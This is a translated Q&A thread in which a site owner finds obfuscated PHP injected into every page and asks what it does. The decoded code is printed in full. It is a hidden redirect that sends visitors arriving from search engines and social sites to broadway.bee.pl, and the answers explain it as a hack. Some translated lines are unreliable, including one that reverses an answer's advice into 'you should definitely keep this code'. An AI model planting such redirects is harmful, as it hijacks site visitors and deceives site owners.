是我的代码保护

时间:2012-02-03 21:34:58

标签: php javascript html base64

我是html的初学者。我从一个人开发了一个网站,后来当我访问mu网站的源代码时,我看到这一堆代码存在于Php tags内的每个页面中。我想问这是否是好吧保留这段代码?我甚至不知道这段代码是什么意思。

我曾使用此网站http://base64decode.org/向我展示我的代码就像这样

zm^r^
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
        if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
            if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                header("Location: http://broadway.bee.pl/");
                exit();
            }
        }
    }
}

我还想知道这是什么意思? 任何帮助将不胜感激 感谢

5 个答案:

答案 0 :(得分:5)

$qazplm=headers_sent();

$qazplm now is a variable containing all of the HTTP headers sent with the request.

if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];

$referer now is a variable containing the URL of the website the user was last on.


 $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
       if (stristr($referer,"yahoo")
          or stristr($referer,"bing")
          or stristr($referer,"rambler")
          or stristr($referer,"gogo")
          or stristr($referer,"live.com")
          or stristr($referer,"aport")
          or stristr($referer,"nigma")
          or stristr($referer,"webalta")
          or stristr($referer,"begun.ru")
          or stristr($referer,"stumbleupon.com")
          or stristr($referer,"bit.ly")
          or stristr($referer,"tinyurl.com")
          or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer)
          or preg_match ("/google\.(.*?)\/url/",$referer)
          or stristr($referer,"myspace.com")
          or stristr($referer,"facebook.com")
          or stristr($referer,"aol.com")) {

如果他们来自一个共同的搜索引擎......

if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");

将它们重定向到broadway.bee.pl

exit();

换句话说,如果他们通过搜索到达您的网站,他们最终会转到broadway.bee.pl。 你已经被黑了(除非你拥有broadway.bee.pl)。

答案 1 :(得分:2)

代码被混淆了=你是从那个试图欺骗你使用它的人那里得到的。这不是一件好事!

它的作用:

error_reporting(0);
// Turns of error reporting = you won't see things go wrong
$qazplm=headers_sent();
// Checks if HTTP headers have been sent and stores the result in variable
if (!$qazplm) {
    // If the HTTP headers have not been sent
    $referer=$_SERVER['HTTP_REFERER'];
    // What's the refering page?
    $uag=$_SERVER['HTTP_USER_AGENT'];
    // The string where the UA (browser) tells what it is
    if ($uag) {
        // If that string is not empty
        if (stristr($referer,"yahoo") /* or truncated */) {
            // If the referer is one of Yahoo, or another search or link site
            if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                // If not the words cache or inurl apppears in the referer string
                header("Location: http://broadway.bee.pl/");
                // Redirect to that site
                exit();
                // And halt script execution
            }
        }
    }
}

基本上,这意味着大多数访问者都会被发送到其他网站。你绝对应该保留这段代码。

经验法则。如果您不知道它的用途 - 请勿使用它!

答案 2 :(得分:1)

特别是因为未知代码是在基础54中编码的,所以该网站注入了恶意代码。去掉它。不要保留它。然后解决问题。

答案 3 :(得分:1)

您已经入侵,有人在您的服务器上放置了一些代码,这些代码在来自搜索引擎时似乎将所有用户重定向到broadway.bee.pl

您最需要删除该代码,快乐调试和搜索。

之后,您需要了解黑客如何进入并修补问题......

祝你好运......你需要它

答案 4 :(得分:1)

为什么人们会对此投票?这是一个完全有效的问题。就像之前所说的那样,如果访问该代码所在页面的浏览器和REFERER来自列出的搜索引擎名称之一,那么它会重定向到http://broadway.bee.pl

鉴于此,我说你被黑了。